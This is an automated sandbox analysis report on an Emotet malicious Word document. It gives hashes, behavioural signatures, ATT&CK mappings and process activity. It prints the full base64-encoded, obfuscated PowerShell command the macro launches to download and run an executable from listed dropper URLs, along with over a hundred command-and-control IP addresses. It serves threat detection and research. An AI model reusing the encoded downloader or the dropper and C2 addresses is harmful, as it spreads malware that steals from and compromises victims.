emotet | 9a2f1d5263c3f7e0728057172230fe567d39bc1affca98ecb30a6e3bd4c0d2fd

Analysis

max time kernel
148s
max time network
151s
platform
windows10_x64
resource
win10v200722
submitted
20/10/2020, 14:06

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General

Target
emotet_e1_9a2f1d5263c3f7e0728057172230fe567d39bc1affca98ecb30a6e3bd4c0d2fd_2020-10-20__140415126313._doc.doc
Size 167KB
Sample201020-dye1mcsasa
SHA256 9a2f1d5263c3f7e0728057172230fe567d39bc1affca98ecb30a6e3bd4c0d2fd
MD5 78324ff176556d994623062a15788b8e
SHA1 c5732bbc05db749485ba14ed815f72e082cab980
SHA512 8b148160162718f218c09b9e6d742be1a142bf011b3c1043ccf025c67094403fc6f7bc98d0e037ef6c57b7e17d50d008d0ae010627fd536d65f3974c2c6d30c9
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://inventorelectronica.com/wp-admin/M/
exe.dropper
http://aguemiimoveis.com/bond-market/73a/
exe.dropper
http://upcloudweb.com/content/a/
exe.dropper
http://methilinfotech.com/maliga/th/
exe.dropper
https://statusquobrand.com/1/HS/
exe.dropper
https://www.breedenandsilver.com/wp-content/ix6/
exe.dropper
http://cefaly.club/themes/lA/

Extracted

Family

emotet

Botnet

Epoch1

173.68.199.157:80
59.148.253.194:8080
173.212.197.71:8080
98.103.204.12:443
2.45.176.233:80
45.33.77.42:8080
181.58.181.9:80
219.92.13.25:80
12.163.208.58:80
2.85.9.41:8080
172.104.169.32:8080
149.202.72.142:7080
189.223.16.99:80
216.47.196.104:80
191.97.154.2:80
213.197.182.158:8080
94.176.234.118:443
46.105.114.137:8080
177.144.130.105:8080
174.118.202.24:443
37.179.145.105:80
98.13.75.196:80
46.101.58.37:8080
60.93.23.51:80
128.92.203.42:80
186.189.249.2:80
192.232.229.54:7080
5.196.35.138:7080
188.135.15.49:80
103.236.179.162:80
68.183.170.114:8080
62.84.75.50:80
213.52.74.198:80
5.189.178.202:8080
81.215.230.173:443
183.176.82.231:80
74.135.120.91:80
50.28.51.143:8080
105.209.235.113:8080
79.118.74.90:80
188.157.101.114:80
104.131.41.185:8080
185.94.252.27:443
77.238.212.227:80
189.2.177.210:443
12.162.84.2:8080
77.78.196.173:443
178.211.45.66:8080
192.81.38.31:80
209.236.123.42:8080
51.15.7.189:80
201.71.228.86:80
212.71.237.140:8080
177.74.228.34:80
181.30.61.163:443
70.32.84.74:8080
192.241.143.52:8080
109.190.35.249:80
172.86.186.21:8080
138.97.60.141:7080
201.213.177.139:80
51.255.165.160:8080
24.232.228.233:80
138.97.60.140:8080
186.103.141.250:443
191.182.6.118:80
181.56.32.36:80
177.23.7.151:80
87.106.46.107:8080
177.129.17.170:443
46.43.2.95:8080
45.46.37.97:80
1.226.84.243:8080
190.190.219.184:80
191.191.23.135:80
217.13.106.14:8080
37.187.161.206:8080
177.73.0.98:443
51.15.7.145:80
190.115.18.139:8080
178.250.54.208:8080
85.214.26.7:8080
37.183.81.217:80
152.169.22.67:80
68.183.190.199:8080
190.188.245.242:80
111.67.12.221:8080
175.143.12.123:8080
70.169.17.134:80
202.134.4.210:7080
188.251.213.180:80
185.94.252.12:80
190.24.243.186:80
181.129.96.162:8080
181.61.182.143:80
82.76.111.249:443
177.144.130.105:443
200.127.14.97:80
51.75.33.127:80
64.201.88.132:80
5.89.33.136:80
186.222.250.115:8080
70.32.115.157:8080
185.183.16.47:80
109.190.249.106:80
74.58.215.226:80
186.70.127.199:8090
83.169.21.32:7080
170.81.48.2:80
137.74.106.111:7080
181.123.6.86:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	936	4052	POwersheLL.exe	72

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/2172-13-0x0000000002240000-0x0000000002259000-memory.dmp	emotet
behavioral2/memory/2172-14-0x0000000002260000-0x0000000002278000-memory.dmp	emotet
behavioral2/memory/2144-17-0x00000000006B0000-0x00000000006C9000-memory.dmp	emotet
behavioral2/memory/2144-18-0x00000000020B0000-0x00000000020C8000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
29	936	POwersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
2172	Iwdm7t.exe
2144	tquery.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\webauthn\tquery.exe	Iwdm7t.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
1568	WINWORD.EXE
1568	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
936	POwersheLL.exe
936	POwersheLL.exe
936	POwersheLL.exe
2144	tquery.exe
2144	tquery.exe
2144	tquery.exe
2144	tquery.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	936	POwersheLL.exe

Suspicious use of SetWindowsHookEx 11 IoCs

pid	Process
1568	WINWORD.EXE
1568	WINWORD.EXE
1568	WINWORD.EXE
1568	WINWORD.EXE
1568	WINWORD.EXE
1568	WINWORD.EXE
1568	WINWORD.EXE
1568	WINWORD.EXE
1568	WINWORD.EXE
2172	Iwdm7t.exe
2144	tquery.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2172 wrote to memory of 2144	2172	Iwdm7t.exe	81
PID 2172 wrote to memory of 2144	2172	Iwdm7t.exe	81
PID 2172 wrote to memory of 2144	2172	Iwdm7t.exe	81

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_9a2f1d5263c3f7e0728057172230fe567d39bc1affca98ecb30a6e3bd4c0d2fd_2020-10-20__140415126313._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:1568

C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
POwersheLL -ENCOD IAAgAHMARQB0AC0ASQB0AEUAbQAgAHYAQQBSAEkAYQBCAEwAZQA6AFQAcwB2ADMATQBlACAAIAAoACAAIABbAHQAeQBQAGUAXQAoACcAcwB5AHMAVABlAE0ALgBpACcAKwAnAE8AJwArACcALgAnACsAJwBEACcAKwAnAGkAcgBlAEMAdABvAHIAeQAnACkAIAAgACkAOwAgACAAIABzAGUAVAAgACAAKAAnAGwAYQAnACsAJwBqAEgAJwApACAAIAAoACAAIABbAHQAeQBwAEUAXQAoACcAUwB5AHMAdABFACcAKwAnAG0ALgAnACsAJwBuAEUAVAAnACsAJwAuAFMARQByAFYAaQBDACcAKwAnAGUAUAAnACsAJwBvAGkATgAnACsAJwB0AG0AYQBOACcAKwAnAEEARwBFAHIAJwApACkAIAA7ACAAIABTAEUAVAAgACAAdQA0AGgAMQA5ACAAIAAoAFsAVABZAHAARQBdACgAJwBzAHkAJwArACcAUwB0AEUAbQAuAG4AZQB0AC4AcwAnACsAJwBFACcAKwAnAGMAVQBSAEkAdAB5AFAAJwArACcAcgBPAHQAJwArACcAbwBDAE8AJwArACcAbAB0AFkAUABFACcAKQApADsAIAAgACQARQA4AGUAaABnAGkANgA9ACgAJwBOACcAKwAnADYAeQBrACcAKwAnAHIAOAAwACcAKQA7ACQAWABhADQAcABiAGkAYwA9ACQAQQAwAGwAdQB4AHEAbQAgACsAIABbAGMAaABhAHIAXQAoADgAMAAgAC0AIAAzADgAKQAgACsAIAAkAFIAdgBuAGoAOQB2ADgAOwAkAFkAaQBpAGUAZQA2AHkAPQAoACcARQAnACsAJwBxAHcAcgAnACsAJwB4AHYAagAnACkAOwAgACAAJAB0AFMAVgAzAE0AZQA6ADoAYwBSAEUAQQBUAGUAZABJAHIARQBjAFQAbwBSAHkAKAAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACAAKwAgACgAKAAnAHQAUgBqACcAKwAnAEwAYQBoAGYAbABrADYAdABSAGoAUgAnACsAJwBlAGoAMgAnACsAJwBsAHgAYwAnACsAJwB0ACcAKwAnAFIAagAnACkAIAAgAC0AYwByAGUAcABsAGEAQwBlACcAdABSAGoAJwAsAFsAQwBoAEEAcgBdADkAMgApACkAOwAkAEUAdgAxAG4AbQBzADgAPQAoACcAUAAnACsAJwB5ACcAKwAnAHUAdwA2AHcANQAnACkAOwAgACAAKABDAEgAaQBMAGQASQBUAGUAbQAgACAAKAAiAFYAIgArACIAYQByAGkAIgArACIAQQBCACIAKwAiAGwAZQA6AEwAIgArACIAYQBqAGgAIgApACkALgBWAEEATABVAGUAOgA6AHMARQBjAHUAcgBpAHQAWQBQAHIAbwBUAE8AQwBPAGwAIAA9ACAAIAAoACAARwBFAHQALQBpAHQAZQBtACAAIAB2AGEAUgBJAEEAQgBsAEUAOgB1ADQASAAxADkAIAAgACkALgB2AEEATAB1AGUAOgA6AHQATABTADEAMgA7ACQAWQBvAG0AaQB5ADYAdQA9ACgAJwBIAGQAbwBnADUAJwArACcANgA1ACcAKQA7ACQAVAB0AGwAYgBuAGgAbAAgAD0AIAAoACcASQB3ACcAKwAnAGQAbQA3AHQAJwApADsAJABMAG0AcwB0AHEAbABjAD0AKAAnAE8AeAB5AHMAaQBqACcAKwAnAGIAJwApADsAJABJAGEAdABjAGkAZQAxAD0AKAAnAFMAJwArACcANQByAGsAagBzAHIAJwApADsAJABYAGQANQAzAHYANgB2AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnAGoARAA0ACcAKwAnAEwAYQBoAGYAbABrACcAKwAnADYAagBEADQAUgBlACcAKwAnAGoAJwArACcAMgBsAHgAJwArACcAYwAnACsAJwBqACcAKwAnAEQANAAnACkALgBSAEUAUABsAEEAQwBlACgAJwBqAEQANAAnACwAJwBcACcAKQApACsAJABUAHQAbABiAG4AaABsACsAKAAnAC4AZQB4ACcAKwAnAGUAJwApADsAJABLAHEANwA3AGcAbABlAD0AKAAnAEcAMQAnACsAJwA1AHUAZgBuACcAKwAnAHcAJwApADsAJABaAF8AZgBnADYAZgBwAD0ATgBlAHcAYAAtAGAAbwBCAGoARQBDAFQAIABOAGUAdAAuAHcAZQBCAGMAbABJAEUAbgBUADsAJABLADMAdQA3ADEAcgBrAD0AKAAnAGgAdAB0AHAAOgAvACcAKwAnAC8AaQBuAHYAZQBuACcAKwAnAHQAbwByAGUAJwArACcAbABlAGMAdAAnACsAJwByACcAKwAnAG8AbgBpAGMAYQAuAGMAbwAnACsAJwBtAC8AdwBwAC0AYQBkAG0AaQAnACsAJwBuAC8AJwArACcATQAvACcAKwAnACoAJwArACcAaAB0AHQAcAAnACsAJwA6AC8ALwAnACsAJwBhAGcAdQBlACcAKwAnAG0AaQBpACcAKwAnAG0AJwArACcAbwB2AGUAaQAnACsAJwBzAC4AYwBvAG0AJwArACcALwAnACsAJwBiAG8AbgBkAC0AbQBhAHIAJwArACcAawBlAHQAJwArACcALwA3ADMAYQAnACsAJwAvACoAJwArACcAaAB0AHQAcAA6AC8ALwB1AHAAYwAnACsAJwBsAG8AJwArACcAdQBkAHcAZQBiACcAKwAnAC4AYwBvAG0ALwBjAG8AJwArACcAbgB0AGUAbgAnACsAJwB0AC8AJwArACcAYQAvACoAaAB0AHQAcAA6ACcAKwAnAC8AJwArACcALwBtACcAKwAnAGUAJwArACcAdABoAGkAbAAnACsAJwBpACcAKwAnAG4AZgAnACsAJwBvACcAKwAnAHQAZQBjACcAKwAnAGgALgBjAG8AbQAvACcAKwAnAG0AYQBsAGkAJwArACcAZwBhAC8AJwArACcAdAAnACsAJwBoAC8AJwArACcAKgBoAHQAJwArACcAdABwAHMAOgAvACcAKwAnAC8AcwB0AGEAdAB1AHMAcQB1AG8AJwArACcAYgByAGEAbgBkAC4AJwArACcAYwBvAG0ALwAxAC8ASABTAC8AKgBoAHQAdABwAHMAOgAvAC8AdwB3ACcAKwAnAHcALgAnACsAJwBiAHIAZQBlAGQAZQAnACsAJwBuAGEAbgAnACsAJwBkACcAKwAnAHMAaQAnACsAJwBsAHYAJwArACcAZQByAC4AYwBvACcAKwAnAG0AJwArACcALwAnACsAJwB3AHAALQBjACcAKwAnAG8AbgB0AGUAbgAnACsAJwB0AC8AaQB4ADYALwAqAGgAdAAnACsAJwB0AHAAJwArACcAOgAnACsAJwAvAC8AYwBlACcAKwAnAGYAYQBsAHkALgBjAGwAdQBiAC8AdAAnACsAJwBoAGUAbQAnACsAJwBlAHMALwBsAEEALwAnACkALgBzAHAAbABJAFQAKAAkAEgAcwAzAGwAbQByADEAIAArACAAJABYAGEANABwAGIAaQBjACAAKwAgACQAUQB2ADUAdwA1ADMAZQApADsAJABFAHcAZAAzAG4AZgA5AD0AKAAnAFgAegA1ACcAKwAnAHMAawBnADIAJwApADsAZgBvAHIAZQBhAGMAaAAgACgAJABZADYAYwB2AGsAagBtACAAaQBuACAAJABLADMAdQA3ADEAcgBrACkAewB0AHIAeQB7ACQAWgBfAGYAZwA2AGYAcAAuAEQATwBXAG4AbABvAEEAZABmAGkATABlACgAJABZADYAYwB2AGsAagBtACwAIAAkAFgAZAA1ADMAdgA2AHYAKQA7ACQARgB5AGEAMgAxAGYAMgA9ACgAJwBUAHUAagB2AHMAJwArACcAcwBhACcAKQA7AEkAZgAgACgAKABHAEUAVAAtAEkAVABgAGUATQAgACQAWABkADUAMwB2ADYAdgApAC4AbABFAE4AZwB0AEgAIAAtAGcAZQAgADMAMQAxADEAOAApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AKAAnAHcAJwArACcAaQBuADMAMgBfAFAAJwArACcAcgBvACcAKwAnAGMAZQBzACcAKwAnAHMAJwApACkALgBDAHIAZQBBAFQAZQAoACQAWABkADUAMwB2ADYAdgApADsAJABUAG8AdQBqADYAcQBlAD0AKAAnAFQAcAB5AHkAJwArACcAaABiACcAKwAnAHIAJwApADsAYgByAGUAYQBrADsAJABMAG8AZwAzAG8AbQBhAD0AKAAnAEUAYQA1ADgAJwArACcAbgB0AHAAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABKADcAdAAzAGcAZQBvAD0AKAAnAFgAZgAwADIAJwArACcAZABrAHQAJwApAA==
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:936

C:\Users\Admin\Lahflk6\Rej2lxc\Iwdm7t.exe
C:\Users\Admin\Lahflk6\Rej2lxc\Iwdm7t.exe
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2172
- C:\Windows\SysWOW64\webauthn\tquery.exe
  "C:\Windows\SysWOW64\webauthn\tquery.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  PID:2144

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/936-9-0x0000021EBB930000-0x0000021EBB931000-memory.dmp

Download

memory/936-10-0x0000021ED3C90000-0x0000021ED3C91000-memory.dmp

Download

memory/936-8-0x00007FFD1B840000-0x00007FFD1C22C000-memory.dmp

Download

memory/1568-0-0x00007FFD22BF0000-0x00007FFD232B6000-memory.dmp

Download

memory/1568-4-0x00000299F075E000-0x00000299F0767000-memory.dmp

Download

memory/2144-17-0x00000000006B0000-0x00000000006C9000-memory.dmp

Download

memory/2144-18-0x00000000020B0000-0x00000000020C8000-memory.dmp

Download

memory/2172-13-0x0000000002240000-0x0000000002259000-memory.dmp

Download

memory/2172-14-0x0000000002260000-0x0000000002278000-memory.dmp

Download